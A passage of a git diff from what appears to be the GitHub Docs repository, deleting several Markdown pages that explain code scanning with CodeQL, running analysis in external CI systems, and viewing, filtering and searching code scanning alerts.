[AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system) -* [AUTOTITLE](/rest/code-scanning/code-scanning#upload-an-analysis-as-sarif-data) diff --git a/content/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system.md b/content/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system.md deleted file mode 100644 index a15ee3936d02..000000000000 --- a/content/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Using code scanning with your existing CI system -intro: 'You can analyze your code with the {% data variables.product.prodname_codeql_cli %} or another tool in a third-party continuous integration system and upload the results to {% data variables.product.github %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.github %}.' -permissions: '{% data reusables.permissions.code-scanning-all-alerts %}' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /github/finding-security-vulnerabilities-and-errors-in-your-code/using-codeql-code-scanning-with-your-existing-ci-system - - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system - - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Code Security - - Code scanning - - CodeQL - - Repositories - - Pull requests - - Integration - - CI - - SARIF ---- - -{% data reusables.code-scanning.enterprise-enable-code-scanning %} - -## About using {% data variables.product.prodname_code_scanning %} with your existing CI system - -As an alternative to running {% data variables.product.prodname_code_scanning %} within {% data variables.product.github %} using {% data variables.product.prodname_actions %}, you can analyze code in an external continuous integration or continuous delivery/deployment (CI/CD) system, then upload the results to {% data variables.product.github %}. - -You can add the {% data variables.product.prodname_codeql_cli %} to your third-party system, or use another third-party static analysis tool that can produce results as Static Analysis Results Interchange Format (SARIF) 2.1.0 data. For more information about the supported SARIF format, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning). - -The {% data variables.product.prodname_codeql_cli %} is a standalone, command-line tool that you can use to analyze code. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/about-the-codeql-cli). - -Alerts for {% data variables.product.prodname_code_scanning %} that you generate externally are displayed in the same way as those for {% data variables.product.prodname_code_scanning %} that you generate within {% data variables.product.github %}. {% data reusables.code-scanning.about-multiple-configurations-link %} - -{% data reusables.code-scanning.upload-sarif-ghas %} - -## Setting up your analysis tool - -You will first need to download your analysis tool of choice and set it up with your CI system. - -If you are using the {% data variables.product.prodname_codeql_cli %}, you need to make the full contents of the {% data variables.product.prodname_codeql_cli %} bundle available to every CI server that you want to run {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} analysis on. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli). - -Once you've made your analysis tool available to servers in your CI system, you're ready to generate data. - -## Analyzing code - -To analyze code with the {% data variables.product.prodname_codeql_cli %} or another analysis tool, you will want to check out the code you want to analyze and set up the codebase environment, making sure that any dependencies are available. You may also want to find the build command for the codebase, typically available in your CI system's configuration file. - -You can then complete the steps to analyze your codebase and produce results, which will differ based on the static analysis tool you are using. - -If you are using the {% data variables.product.prodname_codeql_cli %}, you will first need to create a {% data variables.product.prodname_codeql %} database from your code, then analyze the database to produce SARIF results. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis) and [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/analyzing-your-code-with-codeql-queries). - -## Generating a token for authentication with {% data variables.product.github %} - -Each CI server needs a {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} to use to upload results to {% data variables.product.github %}, whether you are using the {% data variables.product.prodname_codeql_cli %}, the REST API, or another method. You must use an access token or a {% data variables.product.prodname_github_app %} with the `security_events` write permission. If CI servers already use a token with this scope to checkout repositories from {% data variables.product.github %}, you could potentially use the same token. Otherwise, you should create a new token with the `security_events` write permission and add this to the CI system's secret store. For information, see [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps) and [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -For more information on the different methods for uploading results to {% data variables.product.github %}, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github). - -## Uploading your results to {% data variables.product.github %} - -Once you have analyzed your code, produced SARIF results, and ensured you can authenticate with {% data variables.product.github %}, you can upload the results to {% data variables.product.github %}. For more information on the different methods you can use to upload your results, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github). - -For specific details on uploading your results to {% data variables.product.github %} using the {% data variables.product.prodname_codeql_cli %}, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/uploading-codeql-analysis-results-to-github). - -By default, {% data variables.product.prodname_code_scanning %} expects one SARIF results file per analysis for a repository. Consequently, when you upload a second SARIF results file for a commit, it is treated as a replacement for the original set of data. You may want to upload two different SARIF files for one analysis if, for example, your analysis tool generates a different SARIF file for each language it analyzes or each set of rules it uses. If you want to upload more than one set of results for a commit in a repository, you must identify each set of results as a unique set. The way to specify a category for a SARIF upload varies according to the analysis method. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#uploading-more-than-one-sarif-file-for-a-commit). diff --git a/content/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql.md b/content/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql.md deleted file mode 100644 index 3724de778af1..000000000000 --- a/content/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: About code scanning with CodeQL -shortTitle: About CodeQL code scanning -intro: 'You can use {% data variables.product.prodname_codeql %} to identify vulnerabilities and errors in your code. The results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.prodname_dotcom %}.' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Code Security - - Code scanning - - CodeQL ---- - -{% data reusables.code-scanning.enterprise-enable-code-scanning %} - -{% data reusables.code-scanning.about-codeql-analysis %} - -There are three main ways to use {% data variables.product.prodname_codeql %} analysis for {% data variables.product.prodname_code_scanning %}: - -* Use default setup to quickly configure {% data variables.product.prodname_codeql %} analysis for {% data variables.product.prodname_code_scanning %} on your repository. Default setup automatically chooses the languages to analyze, query suite to run, and events that trigger scans. If you prefer, you can manually select the query suite to run and languages to analyze. After you enable {% data variables.product.prodname_codeql %}, {% data variables.product.prodname_actions %} will execute workflow runs to scan your code. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). -* Use advanced setup to add the {% data variables.product.prodname_codeql %} workflow to your repository. This generates a customizable workflow file which uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning#configuring-advanced-setup-for-code-scanning-with-codeql). - -* Run the {% data variables.product.prodname_codeql_cli %} directly in an external CI system and upload the results to {% data variables.product.github %}. For more information, see [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/using-code-scanning-with-your-existing-ci-system). - -{% ifversion ghes %} - -> [!NOTE] -> On {% data variables.product.prodname_ghe_server %} {{ allVersions[currentVersion].currentRelease }}, the {% data variables.product.prodname_codeql %} action uses {% data variables.product.prodname_codeql_cli %} version {% data variables.product.codeql_cli_ghes_recommended_version %} by default. We recommend that you use the same version of the {% data variables.product.prodname_codeql_cli %} if you run analysis in an external CI system. - -{% endif %} - -For information about {% data variables.product.prodname_code_scanning %} alerts, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts). - -## About {% data variables.product.prodname_codeql %} - -{% data variables.product.prodname_codeql %} is a programming language and associated tools that treat code like data. It was created explicitly to make it easier to analyze code and find potential vulnerabilities in your code with greater confidence than traditional static analyzers. - -1. You generate a {% data variables.product.prodname_codeql %} database to represent your codebase. -1. Then you run {% data variables.product.prodname_codeql %} queries on that database to identify problems in the codebase. -1. The query results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.github %} when you use {% data variables.product.prodname_codeql %} with {% data variables.product.prodname_code_scanning %}. - -{% data variables.product.prodname_codeql %} supports both compiled and interpreted languages, and can find vulnerabilities and errors in code that's written in the supported languages. - -{% data reusables.code-scanning.codeql-languages-bullets %} - -{% data reusables.code-scanning.beta-actions-analysis %} - -## Modeling custom or niche frameworks - -{% data variables.product.github %} experts, security researchers, and community contributors write libraries to model the flow of data in popular frameworks and libraries. If you use custom dependencies that aren't modeled, then you can use the {% data variables.product.prodname_codeql %} extension for {% data variables.product.prodname_vscode %} to create models for these dependencies and use them to extend your analysis. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/using-the-codeql-model-editor). - -## {% data variables.product.prodname_codeql %} queries - -{% data variables.product.github %} experts, security researchers, and community contributors write and maintain the default {% data variables.product.prodname_codeql %} queries used for {% data variables.product.prodname_code_scanning %}. The queries are regularly updated to improve analysis and reduce any false positive results.{% ifversion ghes %} For details of the queries available in the default and extended packs, see [Queries included in the default and security-extended query suites](/code-security/code-scanning/managing-your-code-scanning-configuration/codeql-query-suites#queries-included-in-the-default-and-security-extended-query-suites).{% endif %} - -### Writing your own queries - -The queries are open source, so you can view and contribute to the queries in the [github/codeql](https://github.com/github/codeql) repository. For more information, see [About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/) in the {% data variables.product.prodname_codeql %} documentation. - -### Running additional queries - -If you are scanning your code with advanced setup or an external CI system, you can run additional queries as part of your analysis. - -These queries must belong to a published {% data variables.product.prodname_codeql %} query pack or a {% data variables.product.prodname_codeql %} pack in a repository. - -* When a {% data variables.product.prodname_codeql %} query pack is published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, all the transitive dependencies required by the queries and a compilation cache are included in the package. This improves performance and ensures that running the queries in the pack gives identical results every time until you upgrade to a new version of the pack or the CLI. - -* {% data variables.product.prodname_codeql %} query packs can be downloaded from multiple {% data variables.product.prodname_dotcom %} container registries. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning#downloading-codeql-packs-from-github-enterprise-server). - -For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/customizing-analysis-with-codeql-packs). diff --git a/content/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning.md b/content/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning.md deleted file mode 100644 index 19926ac0901c..000000000000 --- a/content/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: About code scanning -intro: 'You can use {% data variables.product.prodname_code_scanning %} to find security vulnerabilities and errors in the code for your project on {% data variables.product.prodname_dotcom %}.' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /github/managing-security-vulnerabilities/about-automated-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning - - /code-security/secure-coding/about-code-scanning - - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning - - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Code Security - - Code scanning ---- - -{% data reusables.code-scanning.enterprise-enable-code-scanning %} - -{% data reusables.code-scanning.about-code-scanning %} - -You can use {% data variables.product.prodname_code_scanning %} to find, triage, and prioritize fixes for existing problems in your code. {% data variables.product.prodname_code_scanning_caps %} also prevents developers from introducing new problems. You can schedule scans for specific days and times, or trigger scans when a specific event occurs in the repository, such as a push. - -If {% data variables.product.prodname_code_scanning %} finds a potential vulnerability or error in your code, {% data variables.product.prodname_dotcom %} displays an alert in the repository. After you fix the code that triggered the alert, {% data variables.product.prodname_dotcom %} closes the alert. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts). - -{% ifversion code-scanning-autofix %} - -{% data variables.product.prodname_copilot_autofix %} will suggest fixes for alerts from {% data variables.product.prodname_code_scanning %} analysis in private repositories, allowing developers to prevent and reduce vulnerabilities with less effort. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/responsible-use-autofix-code-scanning). - -{% endif %} - -To monitor results from {% data variables.product.prodname_code_scanning %} across your repositories or your organization, you can use webhooks and the {% data variables.product.prodname_code_scanning %} API. For information about the webhooks for {% data variables.product.prodname_code_scanning %}, see -[AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#code_scanning_alert). For information about API endpoints, see [AUTOTITLE](/rest/code-scanning). - -To get started with {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). - -{% ifversion fpt or ghec %} - -## About billing for {% data variables.product.prodname_code_scanning %} - -{% data variables.product.prodname_code_scanning_caps %} uses {% data variables.product.prodname_actions %}, and each run of a {% data variables.product.prodname_code_scanning %} workflow consumes minutes for {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). - -To use {% data variables.product.prodname_code_scanning %} on a private repository, you will also need a license for {% data variables.product.prodname_GH_code_security %}. {% data reusables.advanced-security.ghas-trial %} - -{% endif %} - -## About tools for {% data variables.product.prodname_code_scanning %} - -You can configure {% data variables.product.prodname_code_scanning %} to use the {% data variables.product.prodname_codeql %} product maintained by {% data variables.product.company_short %} or a third-party {% data variables.product.prodname_code_scanning %} tool. - -### About {% data variables.product.prodname_codeql %} analysis - -{% data reusables.code-scanning.about-codeql-analysis %} For more information about {% data variables.product.prodname_codeql %}, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql). - -### About third-party {% data variables.product.prodname_code_scanning %} tools - -{% data reusables.code-scanning.interoperable-with-tools-that-output-sarif %} - -You can run third-party analysis tools within {% data variables.product.github %} using actions or within an external CI system. For more information, see [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning#configuring-code-scanning-using-third-party-actions) or [AUTOTITLE](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github). - -## About the {% data variables.code-scanning.tool_status_page %} - -The {% data variables.code-scanning.tool_status_page %} shows useful information about all of your code scanning tools. If code scanning is not working as you'd expect, the {% data variables.code-scanning.tool_status_page %} is a good starting point for debugging problems. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page). diff --git a/content/code-security/code-scanning/introduction-to-code-scanning/index.md b/content/code-security/code-scanning/introduction-to-code-scanning/index.md deleted file mode 100644 index 18fa779c08eb..000000000000 --- a/content/code-security/code-scanning/introduction-to-code-scanning/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Introduction to code scanning -shortTitle: Introduction -intro: 'Learn what {% data variables.product.prodname_code_scanning %} is, how it helps you secure your code, and what {% data variables.product.prodname_code_scanning %} tools are available.' -product: '{% data reusables.gated-features.code-scanning %}' -redirect_from: - - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors - - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /about-code-scanning - - /about-code-scanning-with-codeql ---- diff --git a/content/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts.md b/content/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts.md deleted file mode 100644 index de23db3b6293..000000000000 --- a/content/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: About code scanning alerts -intro: Learn about the different types of code scanning alerts and the information that helps you understand the problem each alert highlights. -permissions: '{% data reusables.permissions.code-scanning-all-alerts %}' -product: '{% data reusables.gated-features.code-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts -type: overview -topics: - - Code Security - - Code scanning - - CodeQL ---- - -{% data reusables.code-scanning.enterprise-enable-code-scanning %} - -## About alerts from {% data variables.product.prodname_code_scanning %} - -You can configure {% data variables.product.prodname_code_scanning %} to check the code in a repository using the default {% data variables.product.prodname_codeql %} analysis, a third-party analysis, or multiple types of analysis. When the analysis is complete, the resulting alerts are displayed alongside each other in the security view of the repository. Results from third-party tools or from custom queries may not include all of the properties that you see for alerts detected by {% data variables.product.company_short %}'s default {% data variables.product.prodname_codeql %} analysis. For more information, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning). - -By default, {% data variables.product.prodname_code_scanning %} analyzes your code periodically on the default branch and during pull requests. For information about managing alerts on a pull request, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests). - -{% ifversion code-scanning-autofix %} - -You can use {% data variables.product.prodname_copilot_autofix %} to generate fixes automatically for {% data variables.product.prodname_code_scanning %} alerts, including {% data variables.product.prodname_codeql %} alerts. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts#generating-suggested-fixes-for-code-scanning-alerts). - -{% endif %} - -{% ifversion copilot-chat-ghas-alerts %} - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can also ask {% data variables.product.prodname_copilot_chat %} for help to better understand {% data variables.product.prodname_code_scanning %} alerts in repositories in your organization. For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - -{% ifversion security-overview-org-codeql-pr-alerts %} - -For {% data variables.product.prodname_code_scanning %} alerts from {% data variables.product.prodname_codeql %} analysis, you can use security overview to see how {% data variables.product.prodname_codeql %} is performing in pull requests in repositories across your organization, and to identify repositories where you may need to take action. For more information, see [AUTOTITLE](/code-security/security-overview/viewing-metrics-for-pull-request-alerts). - -{% endif %} - -{% data reusables.code-scanning.audit-code-scanning-events %} - -## About alert details - -Each alert highlights a problem with the code and the name of the tool that identified it. You can see the line of code that triggered the alert, as well as properties of the alert, such as the alert severity, security severity, and the nature of the problem. Alerts also tell you when the issue was first introduced. For alerts identified by {% data variables.product.prodname_codeql %} analysis, you will also see information on how to fix the problem. - -{% data reusables.code-scanning.alert-default-branch %} - -![Screenshot of a {% data variables.product.prodname_code_scanning %} alert, includes the alert title, relevant lines of code at the left, metadata at the right.](/assets/images/help/repository/code-scanning-alert.png) - -If you configure {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}, you can also find data-flow problems in your code. Data-flow analysis finds potential security issues in code, such as: using data insecurely, passing dangerous arguments to functions, and leaking sensitive information. - -When {% data variables.product.prodname_code_scanning %} reports data-flow alerts, {% data variables.product.prodname_dotcom %} shows you how data moves through the code. {% data variables.product.prodname_code_scanning_caps %} allows you to identify the areas of your code that leak sensitive information, and that could be the entry point for attacks by malicious users. - -### About alerts from multiple configurations - -You can run multiple configurations of code analysis on a repository, using different tools and targeting different languages or areas of the code. Each configuration of {% data variables.product.prodname_code_scanning %} generates a unique set of alerts. For example, an alert generated using the default {% data variables.product.prodname_codeql %} analysis with {% data variables.product.prodname_actions %} comes from a different configuration than an alert generated externally and uploaded via the {% data variables.product.prodname_code_scanning %} API. - -If you use multiple configurations to analyze a file, any problems detected by the same query are reported as alerts generated by multiple configurations. If an alert exists in more than one configuration, the number of configurations appears next to the branch name in the "Affected branches" section on the right-hand side of the alert page. To view the configurations for an alert, in the "Affected branches" section, click a branch. A "Configurations analyzing" modal appears with the names of each configuration generating the alert for that branch. Below each configuration, you can see when that configuration's alert was last updated. - -An alert may display different statuses from different configurations. To update the alert statuses, re-run each out-of-date configuration. Alternatively, you can delete stale configurations from a branch to remove outdated alerts. For more information on deleting stale configurations and alerts, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts#removing-stale-configurations-and-alerts-from-a-branch). - -### About labels for alerts that are not found in application code - -{% data variables.product.github %} assigns a category label to alerts that are not found in application code. The label relates to the location of the alert. - -* Generated: Code generated by the build process -* Test: Test code -* Library: Library or third-party code -* Documentation: Documentation - -{% data variables.product.prodname_code_scanning_caps %} categorizes files by file path. You cannot manually categorize source files. - -In this example, an alert is marked as in "Test" code in the {% data variables.product.prodname_code_scanning %} alert list. - -![Screenshot of an alert in the {% data variables.product.prodname_code_scanning %} list. To the right of the title, a "Test" label is highlighted with a dark orange outline.](/assets/images/help/repository/code-scanning-library-alert-index.png) - -When you click through to see details for the alert, you can see that the file path is marked as "Test" code. - -![Screenshot showing the details of an alert. The file path and "Test" label are highlighted with a dark orange outline.](/assets/images/help/repository/code-scanning-library-alert-show.png) - -{% ifversion codeql-ml-queries %} - -> [!NOTE] -> Experimental alerts for {% data variables.product.prodname_code_scanning %} were available a {% data variables.release-phases.public_preview %} release for JavaScript using experimental technology in the {% data variables.product.prodname_codeql %} action. This feature was {% data variables.release-phases.retired %}. For more information, see [{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} deprecates ML-powered alerts](https://github.blog/changelog/2023-09-29-codeql-code-scanning-deprecates-ml-powered-alerts/). - -{% endif %} - -## About alert severity and security severity levels - -The severity level for a {% data variables.product.prodname_code_scanning %} alert indicates how much risk the problem adds to your codebase. - -* **Severity.** All {% data variables.product.prodname_code_scanning %} alerts have a level of `Error`, `Warning`, or `Note`. -* **Security severity.** Each security alert found using {% data variables.product.prodname_codeql %} also has a security severity level of `Critical`, `High`, `Medium`, or `Low`. - -When an alert has a security severity level, {% data variables.product.prodname_code_scanning %} displays and uses this level in preference to the `severity`. Security severity levels follow the industry-standard Common Vulnerability Scoring System (CVSS) that is also used for advisories in the {% data variables.product.prodname_advisory_database %}. For more information, see [CVSS: Qualitative Severity Rating Scale](https://www.first.org/cvss/v3.1/specification-document#Qualitative-Severity-Rating-Scale). - -### Pull request check failures for {% data variables.product.prodname_code_scanning %} alerts - -{% ifversion code-scanning-merge-protection-rulesets %} - -You can use rulesets to prevent pull requests from being merged when one of the following conditions is met: - -{% data reusables.code-scanning.merge-protection-rulesets-conditions %} - -For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/set-code-scanning-merge-protection). For more general information about rulesets, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -{% else %} - -{% data reusables.code-scanning.pull-request-checks %} - -You can edit which severity and security severity alert levels cause a check failure. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup#defining-the-alert-severities-that-cause-a-check-failure-for-a-pull-request). - -{% endif %} - -### Calculation of security severity levels - -When a security query is added to the {% data variables.product.prodname_codeql %} Default or Extended query suite, the {% data variables.product.prodname_codeql %} engineering team calculates the security severity as follows. - -1. Search for all CVEs that are assigned one or more of the CWE tags associated with the new security query. -1. Calculate the 75th percentile of the CVSS score for those CVEs. -1. Define that score as the security severity for the query. -1. When displaying alerts found by the query, translate the numerical scores to `Critical`, `High`, `Medium`, or `Low` using the CVSS definitions. - -For more information, see [{% data variables.product.prodname_codeql %} CWE coverage](https://codeql.github.com/codeql-query-help/codeql-cwe-coverage/) on the {% data variables.product.prodname_codeql %} documentation site. diff --git a/content/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository.md b/content/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository.md deleted file mode 100644 index 9c4c6a3c8e31..000000000000 --- a/content/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository.md +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Assessing code scanning alerts for your repository -shortTitle: Assess alerts -intro: 'From the security view, you can explore and evaluate alerts for potential vulnerabilities or errors in your project''s code.' -permissions: '{% data reusables.permissions.code-scanning-all-alerts %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Code Security - - Code scanning - - Alerts - - Repositories ---- - -Anyone with read permission for a repository can see {% data variables.product.prodname_code_scanning %} annotations on pull requests. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests). - -## Viewing the alerts for a repository - -You need write permission to view a summary of all the alerts for a repository on the **Security** tab. - -By default, the {% data variables.product.prodname_code_scanning %} alerts page is filtered to show alerts for the default branch of the repository only. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %} -1. Optionally, use the free text search box or the dropdown menus to filter alerts. For example, you can filter by the tool that was used to identify alerts. - - ![Screenshot of {% data variables.product.prodname_code_scanning %} alerts page. The search box and filter dropdown menus are outlined in dark orange.](/assets/images/help/repository/filter-code-scanning-alerts.png) - -{% data reusables.code-scanning.explore-alert %} - {% data reusables.code-scanning.alert-default-branch %} -1. Optionally, if the alert highlights a problem with data flow, click **Show paths** to display the path from the data source to the sink where it's used. - - ![Screenshot of a {% data variables.product.prodname_code_scanning %} alert. The "Show paths" and "Show more" links are outlined in dark orange.](/assets/images/help/repository/code-scanning-alert-details.png) - -1. Alerts from {% data variables.product.prodname_codeql %} analysis include a description of the problem. Click **Show more** for guidance on how to fix your code. - -For more information, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts). - -> [!NOTE] -> You can see information about when {% data variables.product.prodname_code_scanning %} analysis last ran on the tool status page. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page). - -{% ifversion copilot-chat-ghas-alerts %} - -## Asking {% data variables.product.prodname_copilot_chat %} about {% data variables.product.prodname_code_scanning %} alerts - -With a {% data variables.product.prodname_copilot_enterprise %} license, you can ask {% data variables.product.prodname_copilot_chat_short %} for help to better understand security alerts, including {% data variables.product.prodname_code_scanning %} alerts, in repositories in your organization. For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom#asking-questions-about-alerts-from-github-advanced-security-features). - -{% endif %} - -{% ifversion security-overview-org-codeql-pr-alerts %} - -## Viewing metrics for {% data variables.product.prodname_codeql %} pull request alerts for an organization - -For {% data variables.product.prodname_code_scanning %} alerts from {% data variables.product.prodname_codeql %} analysis, you can use security overview to see how {% data variables.product.prodname_codeql %} is performing in pull requests in repositories where you have write access across your organization, and to identify repositories where you may need to take action. For more information, see [AUTOTITLE](/code-security/security-overview/viewing-metrics-for-pull-request-alerts). - -{% endif %} - -## Filtering {% data variables.product.prodname_code_scanning %} alerts - -You can filter the alerts shown in the {% data variables.product.prodname_code_scanning %} alerts view. This is useful if there are many alerts as you can focus on a particular type of alert. There are some predefined filters and a range of keywords that you can use to refine the list of alerts displayed. - -When you select a keyword from either a drop-down list, or as you enter a keyword in the search field, only values with results are shown. This makes it easier to avoid setting filters that find no results. - -![Screenshot of search field in alerts view. The field has "branch:dependabot" and all valid branches with a matching name are shown.](/assets/images/help/repository/code-scanning-filter-keywords.png) - -If you enter multiple filters, the view will show alerts matching _all_ these filters. For example, `is:closed severity:high branch:main` will only display closed high-severity alerts that are present on the `main` branch. The exception is filters relating to refs (`ref`, `branch` and `pr`): `is:open branch:main branch:next` will show you open alerts from both the `main` branch and the `next` branch. - -{% data reusables.code-scanning.filter-non-default-branches %} - -You can prefix the `tag` filter with `-` to exclude results with that tag. For example, `-tag:style` only shows alerts that do not have the `style` tag. - -### Restricting results to application code only - -You can use the "Only alerts in application code" filter or `autofilter:true` keyword and value to restrict results to alerts in application code. For more information about the types of code that are automatically labeled as not application code, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts#about-labels-for-alerts-that-are-not-found-in-application-code). - -## Searching {% data variables.product.prodname_code_scanning %} alerts - -You can search the list of alerts. This is useful if there is a large number of alerts in your repository, or if you don't know the exact name for an alert for example. {% data variables.product.github %} performs the free text search across: -* The name of the alert -* The alert details (this also includes the information hidden from view by default in the **Show more** collapsible section) - -| Supported search | Syntax example | Results | -| ---- | ---- | ---- | -| Single word search | `injection` | Returns all the alerts containing the word `injection` | -| Multiple word search | `sql injection` | Returns all the alerts containing `sql` or `injection` | -| Exact match search</br>(use double quotes) | `"sql injection"` | Returns all the alerts containing the exact phrase `sql injection` | -| OR search | `sql OR injection` | Returns all the alerts containing `sql` or `injection` | -| AND search | `sql AND injection` | Returns all the alerts containing both words `sql` and `injection` | - -> 